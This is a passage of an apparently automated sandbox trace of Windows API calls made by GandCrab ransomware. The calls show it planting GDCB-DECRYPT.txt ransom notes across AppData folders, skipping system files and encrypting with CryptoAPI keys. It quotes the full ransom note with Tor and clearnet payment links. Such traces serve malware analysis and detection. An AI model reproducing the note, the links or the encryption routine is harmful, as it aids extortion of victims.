pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.672] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\\\GDCB-DECRYPT.txt") returned 274 [0171.672] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tiles\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.672] GetLastError () returned 0x3 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.673] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\\\GDCB-DECRYPT.txt") returned 288 [0171.673] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin-314712940\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tiles\\pin-314712940\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.673] GetLastError () returned 0x3 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.673] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin7226654530\\\\GDCB-DECRYPT.txt") returned 288 [0171.673] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tiles\\pin7226654530\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tiles\\pin7226654530\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.673] GetLastError () returned 0x3 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.673] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tracking Protection\\\\GDCB-DECRYPT.txt") returned 288 [0171.673] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\Tracking Protection\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\tracking protection\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.673] GetLastError () returned 0x3 [0171.673] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.674] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\VersionManager\\\\GDCB-DECRYPT.txt") returned 283 [0171.674] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Internet Explorer\\VersionManager\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\internet explorer\\versionmanager\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.674] GetLastError () returned 0x3 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.674] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\\\GDCB-DECRYPT.txt") returned 263 [0171.674] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.674] GetLastError () returned 0x3 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.674] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.675] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\\\GDCB-DECRYPT.txt") returned 278 [0171.675] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Sync Playlists\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\sync playlists\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.675] GetLastError () returned 0x3 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.675] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\\\GDCB-DECRYPT.txt") returned 286 [0171.675] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Media Player\\Transcoded Files Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\media player\\transcoded files cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.675] GetLastError () returned 0x3 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.675] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.675] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\\\GDCB-DECRYPT.txt") returned 257 [0171.675] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.681] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.682] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.682] CloseHandle (hObject=0x510) returned 1 [0171.683] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.683] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.683] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.683] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.716] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\\\GDCB-DECRYPT.txt") returned 262 [0171.716] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.716] GetLastError () returned 0x3 [0171.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.717] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.717] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\\\GDCB-DECRYPT.txt") returned 285 [0171.717] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\BackstageInAppNavCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\backstageinappnavcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.717] GetLastError () returned 0x3 [0171.717] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml") returned 264 [0171.717] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml") returned 264 [0171.717] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml") returned 264 [0171.717] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml") returned 264 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="ntuser.dat") returned -1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="iconcache.db") returned -1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="ntuser.dat.log") returned -1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.717] lstrcmpiW (lpString1="excel.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.717] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\excel.exe_rules.xml")) returned 0xffffffff [0171.717] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.717] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.718] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.718] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.718] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.718] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.718] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.719] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.719] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.719] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.719] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.719] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.721] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6176e8) returned 1 [0171.721] CryptGetKeyParam (in: hKey=0x6176e8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.721] CryptEncrypt (in: hKey=0x6176e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d10000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d10000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.722] GetLastError () returned 0x0 [0171.722] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.722] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.723] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617a68) returned 1 [0171.723] CryptGetKeyParam (in: hKey=0x617a68, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.723] CryptEncrypt (in: hKey=0x617a68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d20000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2d20000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.724] GetLastError () returned 0x0 [0171.724] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.724] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\excel.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\excel.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.724] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml") returned 274 [0171.724] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml") returned 274 [0171.724] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml") returned 274 [0171.724] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml") returned 274 [0171.724] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.724] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.724] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="ntuser.dat") returned 